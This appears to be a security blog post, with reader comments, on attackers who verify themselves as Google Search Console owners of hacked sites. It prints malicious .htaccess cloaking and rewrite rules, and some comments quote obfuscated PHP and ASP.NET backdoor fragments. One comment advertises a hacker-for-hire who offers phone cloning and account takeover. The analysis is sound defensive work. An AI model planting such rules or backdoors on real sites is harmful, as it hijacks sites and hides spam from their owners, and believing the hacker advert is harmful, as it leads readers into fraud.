Malicious Google Search Console Verifications

This past summer we noticed a trend of more and more Blackhat SEO hacks trying to verify additional accounts as owners of compromised sites in Google Search Console (formerly Webmaster Tools).

Google Search Console provides really useful information and tools to webmasters who want to:

  • Know how their websites perform in search results.
  • Receive notification about performance, configuration and security issues.
  • Efficiently troubleshoot Search Engine Optimization (SEO) issues.

There’s really no reason why someone wouldn’t register their site there. It contains beneficial information for anyone who wants their website indexed by Google. Hackers realize this and try to get access to the Search Console for websites they hack, especially when they add their own spammy content and technically are (malicious) webmasters.

For example, this was found in a template of one pharma doorway generator:

<meta name="verify-v1" content="JxC+bn8NTCEfKZIdusC9WQELc8FEwbi8p32wf9q0QGA=">

This line of code allows hackers to verify site ownership of compromised sites.

Using Google verification meta tags is just one of many approaches that hackers use. In this post, we’ll show some other (more sophisticated) tricks and talk about the outcomes of such hacks.

Why Verify Ownership For Hacked Sites?

First of all, you should realize that verifying ownership of a site in Search Console doesn’t make you a real site owner. It’s just a way to demonstrate to Google that you control the site. There are multiple ways to do this – you can prove you have access to the website file server, control the domain DNS records, or a related Google service like Analytics. Once you have verified your access to the website as an administrator elsewhere, Google will show you information intended for the site owner. You can also do some things that can affect the way Google indexes the site and shows in their search results.

You should also realize that Google allows a website to have multiple owners (e.g. a real owner and another webmaster may be verified as owners, plus a third-party SEO specialists might need full “owner” permissions while they work on the site). Each owner verifies themselves individually and adds websites to their own Search Console. If hackers verify themselves as owners of your site it does NOT mean that Search Console (or your Google account) is hacked.

So why do they do it?

Well, I can only guess, but there are several things that hackers may use Search Console to accomplish:

  1. Gather statistics that can tell them how their black-hat SEO campaign performs: clicks, impressions, CTR, positions in Google search results and other goodness from the “Search Analytics” section.
  2. Submit sitemaps of their spammy pages to have Google quickly discover them all, meaning they don’t have to wait for Google to discover the pages via links on other sites. Hackers might even think that Google will treat their spam pages as legitimate when they are submitted as part of a sitemap directly from a verified site owner.
  3. Get notifications about hack detection. This may help estimate how efficiently Google can detect their doorways and the amount of damage it does to their campaign.
  4. Unverify legitimate site owners’ accounts so that they don’t receive any notifications (e.g. about security issues) from Google Search Console.

Let’s focus on the last point and see what happens when someone adds a new owner to a site in Search Console and when someone removes other site owners (unverifies their accounts).

New Owner Notification

When someone verifies a new Google account as a site owner, all existing site owners immediately receive a notification email telling them, “Google has identified that example@gmail.com has been added as an owner of Search Console account for http://www.example.com“. This email also warns that only relevant people should have this access and provides with useful links to let you manage existing users and their permission levels.

Search Console New Owner Notification
Search Console New Owner Notification

So far so good. If hackers add themselves as owners of your site you’ll be immediately notified and can quickly investigate and resolve the security issue (unverify their account, estimate damage, clean up your site, close security holes, etc). That’s really great and helpful Google. Thank you!

Unverifying Legitimate Owners is Easy

What if you missed that email?

Say you were on a vacation at that moment and when you returned the email was lost in a backlog of unread emails where it may linger for months… This scenario gives hackers time that they can use, say, to unverify your own account so that you don’t receive any new notifications about the site (for example, when Google detects security issues caused by the hack). Can you guess what else? You will not receive any notifications from Google that you are no longer an owner of your site in Search Console.

If you rarely log into Search Console, you will have no idea that you no longer have access to your site data there.

Now let’s imagine the following scenario: Google detects the hack and notifies site owners about it. Only the hackers will receive this notification. The real site owner still doesn’t even know about the hack and doesn’t do anything to clean the site. This gives hackers time to mitigate the issue in their favor. Say, they can temporarily remove their doorways and request a review from Google. When the Google Web Spam team finds no doorways, they unblock the site and notify the site owners (in our case the hackers) about it via Search Console. After this notification, the hackers simply restore their spammy pages (maybe using slightly different URL pattern) and continue exploiting resources of the hacked site.

WNC-582900

Let’s step back from speculations into the real world. Do hackers really verify themselves as site owners in Google Search Console? The answer is yes. The Google “new owner” notification emails help us prove it. The last sentence in that email says:

Ask questions in our forum for more help – mention message type [WNC-582900].

People do ask questions in Google Webmaster Forum mentioning this message type, most of which are related to site hacks.

Multiple New Owners

Typically hackers add more than one “owner” account. This thread mentions 2 new verified owners. Another webmaster reports receiving about 30 new “verified” owners notifications in just one day. One other webmaster shares a screenshot of the “Verified owners” section of their Search Console with over a hundred entries (extrapolation based on the size and position of a scrollbar on that screenshot).

So it’s started by yesterday evening, where I received a lot of [WNC-582900] new owner notification message, and after that, when I checked my site owners, I had a LOT of listed owners!

Here are just a few of the email addressed that hackers used in Search Console:

  • elsuperwhite @gmail.com
  • haolinliner @gmail.com
  • definitevvdp @gmail.com
  • josephig6aef @gmail.com
  • lindalinyang93 @gmail.com
  • canarykqiw @gmail.com
  • basininn @gmail.com
  • simeqjhz @gmail.com
  • sunbakedukok @gmail.com
  • Ollienickel22586 @gmail.com
  • Wit.61280 @gmail.com

HTML File Verification

The most popular site verification method is using special HTML files with names like google[code].html and the following content:

google-site-verification: google<code>.html

In the example, code is a unique 15-digit hexadecimal number associated with a user’s Google account. This one file can be used to verify multiple sites.

When hackers get access to a website, it’s easy for them to create this file and verify themselves as an owner.

Here is some further evidence from the forum:

  • Search Console Account Hacked: “An HTML verification file is being placed on my server in the root directory. I am not placing it there, and it’s not being placed there using my FTP account.”
  • Unauthorized verification of webmaster owners: “And in my site’s file manager, I spotted these whole verification HTML files just created recently, and I have deleted those unknown files.

Usually these files are being uploaded via vulnerabilities in web applications or via backdoors that hackers install after breaking into websites. That’s why deleting the file and changing FTP passwords is usually not enough:

So it happened 2x more overnight. I’ve reviewed all the logs on my end and the audit trails show it wasn’t my account that was compromised – the only actions in the server FTP that I can see are the ones I’ve done.

Mysterious Verification Files

To unverify these malicious “owners” you need to remove the files (meta tags, DNS records) that they used for their verification. However, it’s not always as easy as deleting an HTML file.

There are quite a few cases when webmasters received notifications about new site owners and the “Verified Owners” section of Search Console clearly showed which HTML files were used for their verification, but it was not possible to find and delete the files on server. Despite of the absence of the verification files, Google refused to unverify the malicious owners because somehow the files were visible when you tried to open them in a browser.

In the last case, the webmaster doesn’t even believe the notifications were real (despite the fact that he saw those new “owners” in his Search Console). Since that disbelief was posted on his website for public access, I guess he wouldn’t mind if I publicly explain why those emails were authentic, his site was hacked, and why he couldn’t find the verification files.

First of all, Google indeed uses the “sc-noreply @google.com” email address for Search Console notification emails. But they began using it only after the May rebranding of Webmaster Tools. This explains why you don’t see many references to it on the web.

Japanese SEO Spam

In our experience, verifying site ownership is currently mainly used in attacks that create tons of spammy doorway pages in Japanese (we see tens of thousands of affected sites, with over a billion created doorways).  They work in a niche of “cheap/fake brand goods” so you can normally detect them if you search your site for keywords like “louboutin“, “gucci“, “louis vuitton“, “moncler“, “ray ban“, etc. So the first thing I did when came across that blog post was search the site for the Japanese SEO spam. Sure enough, I found it there.

Japanese spam in search results.
Japanese spam in search results.

Having found the Japanese spam, I knew exactly why the webmaster couldn’t find the verification files. This attack uses quite a smart approach to Google verification that’s worth a detailed review:

.htaccess Rewrite Rules

The attackers upload a PHP script that generates doorways to some subdirectory, and then add rewrite rules to .htaccess files to make the spammy URLs look a bit more legitimate – like they are at a site top level, in some cases like static .html pages, etc. Among those doorway rewrite rules, they also add a specific rewrite rule for Google verification files:

...
RewriteRule ^([0-9]+)/(.*)-(.*)-([0-9]+)\.html$ wp-content/file.php?uu=$2-$3-$4 [L]
RewriteRule ^([0-9]+)/google(.*)\.html$ wp-content/file.php?google=$2 [L]
RewriteRule ^(.*)-(.*)-([0-9]+)\.html$ wp-content/file.php?uu=$1-$2-$3 [L]
...

As you can see, the second rule matches the format of Google verification file names and rewrites the requests to a malicious script file.php with a “google” parameter, whose value equals to a unique Search Console ID of the requested verification file. This rule will work for any requested Google verification file regardless of its name. So if someone try to open http:// www. example. com/dir/google77aa6bc3a2973942.html, behind the scenes, the server will open http:// www. example. com/wp-content/file.php?google=77aa6bc3a2973942.

Multiple Representations of the Same Site in Google Search Console

Please note, that this .htaccess file expects that Google will be requesting the verification file in some sub-directory, not at the root level. That’s not a mistake. Google actually allows you to verify ownership of various sections and versions of the same site. For example, you can separately add the following to your Search Console account:

  • http:// example.com
  • http:// www. example.com
  • https:// example.com
  • https:// www. example.com
  • http:// example.com/blog/
  • etc.

Although it’s technically the same site, each of them require a separate verification. In our case, hackers were specifically interested in verifying ownership of subdirectories they created for their spam campaign.

Dynamic Verification File Generation

Now let’s see how the file.php script works.

Doorway script with Google verification code
Doorway script with Google verification file

It’s a typical doorway script that returns spammy pages to Googlebot and redirects the rest of the visitors. The interesting part is the last four lines of code. This script dynamically generates the typical (and 100% valid) content of a Google verification file.

Let’s return to our example, where .htaccess rewrite rule requested the file.php?google=77aa6bc3a2973942 page. In this case, the server response will be:

google-site-verification: google77aa6bc3a2973942.html

That’s exactly what Google expects to see when verifying ownership.

This trick makes it difficult to find and delete the verification files if a real site owner wants to unverify the hackers’ accounts. At the same time, this is a very flexible approach for the attacker, as it doesn’t need to stick to any specific Google account. They can use any Google account, or however many accounts they like to verify ownership. If one account is disabled, they don’t have to change anything on the server to verify a different account.

A similar .htaccess trick was found in one of the above-mentioned forum threads:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([a-zA-Z0-9_-]+).html$ wp-includes/themes/good/$1.php [L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Here, Google verification file URLs are being rewritten to PHP files with the same names inside the wp-includes/themes/good/ folder. E.g. in case of our previous example, it would be wp-includes/themes/good/google77aa6bc3a2973942.php.

This approach also hides the verification files from users, but it’s a less flexible solution as it requires existence of a google[code].php file on server.  In this case, hackers can only verify some pre-defined accounts for which they already uploaded verification files. Most likely it’s an older version of the same attack.

To Webmasters

Verification of malicious users as site owners in Google Search Console is a relatively new phenomenon and it’s still not clear if this is something that hackers will adopt as a useful tool in their arsenal or abandon as something of questionable value. In either case, site owners should be prepared for such attacks and even take advantage of the Google’s notification system.

  1. Please make sure you registered and verified ownership of all your sites (including subdomains) in Google Search Console. If someone else tries to verify ownership of your sites (or sections of your sites), you’ll immediately receive a notification from Google and will be able to quickly mitigate the issue. If you don’t add your sites to Google Search console, you’ll never receive such valuable notifications. And, by the way, that’s not the only security problem that Google will be notifying you about.
  2. If you receive “new owner” notifications from Google, don’t take them lightly. Not only should you unverify all unknown accounts, but also investigate how they were able to verify them. In most cases it means that they had full access to your site, so you should close all the security holes and remove any malicious content that the hackers might have already created on your site.
  3. As I demonstrated above, it’s quite easy for hackers to remove you as an owner of your site when someone has access to your server. And you will not even be notified about this. If you don’t want hackers to be able to easily unverify your account, consider the following 3 alternative verification methods:

    Unlike the HTML file and the Meta tag verification methods, these three require hackers to have access to your Google and domain name registrar accounts in order to be able to unverify you.

To Google

Although Google does a great job quickly notifying site owners about potentially malicious new owner verifications and providing them with all the information and tools needed to troubleshoot such issues, it looks like they are not prepared for some scenarios.

  • Why not send a “goodbye” notification to a recently unverified site owner? Even if it was a completely benign unverification of someone who no longer works on the site, these people deserve to be notified about it. Since they are no longer “site owners” there should be no concern that Google is sending too many notifications. On the other hand, if the unverification was malicious, the real site owner will definitely want to know about it!
  • We see that hackers sometimes verify quite a few accounts in a very short time. It’s good that you send notifications about each of them. Maybe you should also consider such an activity as a sign of compromise? That’s a good reason to take a closer look at a site (I mean your malware and spam scanners) and flag the added accounts for some additional investigation, especially when they appear on many unrelated sites (hackers likely reuse accounts when they break into thousands of sites and verify dozens of accounts for each of them).

In conclusion, I’d like to invite readers to share your thought about this “owner verification” phenomenon. Did you ever notice any malicious activity in Google Search Console (ex-Webmaster Tools)?

28 comments
  1. Wow, this is definitely a scary scenario. It wouldn’t surprise me if there is going to be something implemented by Google that requires a certain amount of time to pass before a “New Owner” can un-verify any of the accounts associated with the domain. They already do that for the map pages, as well as a couple other directories applying this same security feature.

  2. Denis – what’s the best way for legitimate owners to remove verification once they’ve identified a compromise?

    1. Ashley: Removing the users from the account is the first step. The other is to do a incident response/remediation on the site to see if it has not been hacked with something else.

  3. My question is how do we clean this up afterwards. Say they add pages, thousands of pages, then submit them to be indexed and Google indexes them. Then later the pages are removed, the access is removed, and the site is secured. How do you remove the thousands of pages which are now showing up as “not found” crawl errors. Just mark them as fixed? Or does that send the message to Google that they were fixed as in they should now be “found”… Do you have to submit each page to be removed individually? Or does it all just clean itself up over time.

    1. Google wants you to allow pages that are gone forever to 404 and Google will de-index them over time. Even better but less common is the 410 status code which means permanently gone.

      Make sure they are removed from any sitemaps or anything you control that can be pointing to them.

      It’s helpful for the site owner to mark them all as fixed so that they will be removed from your console. If they appear again, you’ll know they are more recent errors.

      Hope that helps!

      1. Can’t find the html or the injected rewriterule anywhere using notepad++. I’m resetting my server’s pw what else can I do from here?

  4. Wow, this is an eye opener post. I wonder what benefits would the hacker gets from verifying the hacked site though?
    It’s like announcing to the site owner “hey your site is hacked”

  5. Wow that .htaccess trick is really clever. Good thing I’m somewhat paranoid and use domain verification and have 2FA on both domain registrar and Google accounts. Having an anxiety disorder can be useful at times, especially in network security.

  6. I am dealing with this right now. 35 new owner accounts and I have no clue how to look for this info and search for the corrupt files. Your article is great. Any suggestions on who can help me get these people unverified? It won’t let me since it is still finding files. They need to make it easier to un-verify for people that don’t know anything about code.

  7. I don’t understand how they are getting the verification code in the first place. I know they aren’t logging into our Webmaster account because I am not getting an email notification. Any thoughts on that?

  8. I just got one of my wordpress sites hacked. It had 1766 verified owners in Google webmasters when I found out about this. The “funny” thing about this is that they all have Gmail accounts. So Yes, google really needs to step up on this. You suggest one good soulution with the ‘goodbye’ mail. Another is to limit the amount of verified owners.
    It takes me about 1,5 minutes to delete each user, so I hope to be finished deleting them before Christmas! How about batch delete??

    Even it is now about 2 weeks since I cleaned up the site, I still see the hackers trying daily to upload to my site using their HTML-verified file.

  9. We had several ASP files one named path.asp that were found on the website one of which contained some code that said uploadfloder=Request(“uploadfloder”)

    filename=”google2a9a5c2be00bd854.html”

    if(uploadfloder””) then

    strcontent=”google-site-verification: google2a9a5c2be00bd854.html”

    writename=Request(“writename”)

    if(writename””) then

    filename=writename

  10. Thanks for the well written, and well researched article. I had this issue – about ten an hour verifying themselves on my web server. I was able to fix it by making the web root unwriteable by the web server. (on Unix)

    $ cd /to the folder above the webroot
    $ chmod u-w nameofwebrootfolder

    No successful attempts since so for me and my site doesnt need to write things there so it was perhaps just a simple permissions problem although I am going to rebuild the site in any case, just in case it has been compromised and it is about time I did that anyway.

    Angus

  11. Hi Denis

    The hacker access my cPanel without my password by putting [GEN]cpanel_cracker_1 [31/01/16] /home/parenti6/public_html/wp-admin/js/w0.php

    [GEN]cpanel_cracker_1 [31/01/16] /home/parenti6/public_html/wp-content/ewww/w0.php

    Of course, I got the hacker’s gmail account info via google web master and want to report google this issue ..would you please advise how I can contact or report to Google?

    Elle

  12. Hello and thank you for a truly great article,

    Got notified today about a new owner on a Joomla site a have. I tried all known solutions but I couldn’t find how the hacker showed the html verification file on my root. It was not there physically and my htaccess was clean so I guess he used another trick.

    I downloaded all my root directory locally and used Notepad++ to search in all files for the string “google-site-verification”. And there it was!

    In the file : httpdocsincludesframework.php there was a very long line (length : 114132 char !!) that started with

    $OOO0__0_0O=urldecode(“%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A”);$OO__00_OO0=$OOO0__0_0O{16}.$OOO0__0_0O{24}.$OOO0__0_0O{30}.

    and somewhere along the zeros it had the google-site-verification phrase. I deleted the whole line, uploaded the file and was finally able to unverify the hacker.

    Is there a way to prevent this from happening again? Feel free to add any feedback. Thank you!

  13. Saw a new one day on Windows 2012 Server running IIS.
    altered files
    1- google*.html verification file was in the root folder.
    2- global.asax file was in root that contained this code:

    void Application_BeginRequest(object sender, EventArgs e)

    {

    //78x0p912

    new AjaxControlToo1kit.Ajax(“em1kWTI5aE1tZ3daRWhCTmt4NU9UTmtNMk4xWTIxR2MyUXphSGxoVXpWM1pIazVPR1JIVm5SalNIaENWbFpTVUdaRE5YSk1ibEkwWkVoM2RXRlROVEJsU0ZJeVoyOD1lbWY=”);//5x9nw080

    }

    3- /bin/ folder was created and contained a file called AjaxControlToo1kit.dll

    Country Code was changed to Japan in webmaster tools, no sitemap was added.

  14. I’ve been hacked in this way for a hobby site of mine. Any advice on how I can clean this up? I am not technical enough to follow all that is above. I did remove the verification file.

  15. I just found malicious code in my wp-load.php file that was part of the bogus sitemap that had been submitted on my Google Search Console by a hacker/user. This code kept ‘re-writing’ the htaccess file. Hopefully I have it clean for now and Google will ‘re-index’ my clean site. I really do not like HACKERS.

  16. Thankyou very much Denis, your article helps me to remove extra added owner in my webmaster account. I have cleaned 4 lines from my htaccess file and then magic happened all the malicious activities were gone from my project.

  17. Great write-up Denis, i found the following code in one of our hacked site.

    RewriteEngine On
    RewriteBase /
    RewriteRule ^google(.*).html$ /wordpress/wp-admin/network/wp-og2.php?gg=$1 [L]
    RewriteCond %{HTTP_USER_AGENT} (bot|google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
    RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing|seznam|Seznam)
    RewriteCond %{REQUEST_FILENAME} !(wp-og2.php|xsl|css|jpg|gif|js)$ [NC]
    RewriteRule ^(.*)$ /wordpress/wp-admin/network/wp-og2.php [L]
    RewriteRule ^index.php$ – [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]

    Catch is, they don’t physically create a verification .html file instead create a .htaccess rule which lets Google think it has found the verification page on your site.

    Seems like if you are running on WordPress you will be hacked one day or another. If you are under Alexa 200k your chances of being hacked are more.

    WordPress is the most hacked system in the world. Rather than coming up with new versions after another. Matt and team should sit and finalize the security holes at once, they can hire guys like you 🙂

  18. Hi Denis,

    Really great Info, Recently I found same things with my website, After I realized removed new users from google, but still I am finding code in ht access as well file.php , but I cant see any code as well spam Pages.

    Can you help with this.

    1. Hello Amanda how are you doing today am sorry am new here and i will love to know you more better please can you send me your gmail so we can talk there this is mine Tedhannett419@gmail.com please you can send me yours too bye take care of

  19. This happened to me but they didn’t use my .htaccess file so hopefully I can help someone who spent 30-60 minutes like me trying to find the issue. They actually added a folder into my /wp-content/plugins/ directory with 4 different files and they updated my class-http.php file in the /wp-includes/ directory. I deleted the folder and re-uploaded the class-http.php file and then removed the user. Now I’m going to change my passwords and hope for the best. Your best bet if you can’t find the file is to check the date the new owner was added to Search Console and look at every file that was updated/created on that day in your web directory.

  20. I can brag anywhere about this Russian hacker by the name Artur Vitali. He is very good at what he does and has been so useful to me and i really wish to use this medium to show him to the world. He helped a friend of mine remove lots of bad records online and made it untraceable. This man also helped me clone a cellphone without touching the targets phone, granting me access to Facebook messages,Whatsapp,Text messages and all other social media accounts on the phone. You can contact him if you have any problem with hacking. He is humble and straight forward.
    CONTACT:
    EMAIL- QuickArturhack@gmail.com Whatsapp- +380683017209 OR KIK-Arturquickhack

  21. Hi Denis,

    Thank you so much for the post. I had just encountered this issue on my blog and I saw that the hacker verified himself into my site 4 hours ago and submitted his own fake sitemap. Before I could delete the sitemap, most of his links have been indexed in Google from my domain.

    Is there anyway I can reverse his action? Maybe submit a reconsideration to Google (my rankings are stable though, but we cannot trust Google) or apply no index for that particular URL as a wild card?

    Can you please help me in this regard?

Comments are closed.

You May Also Like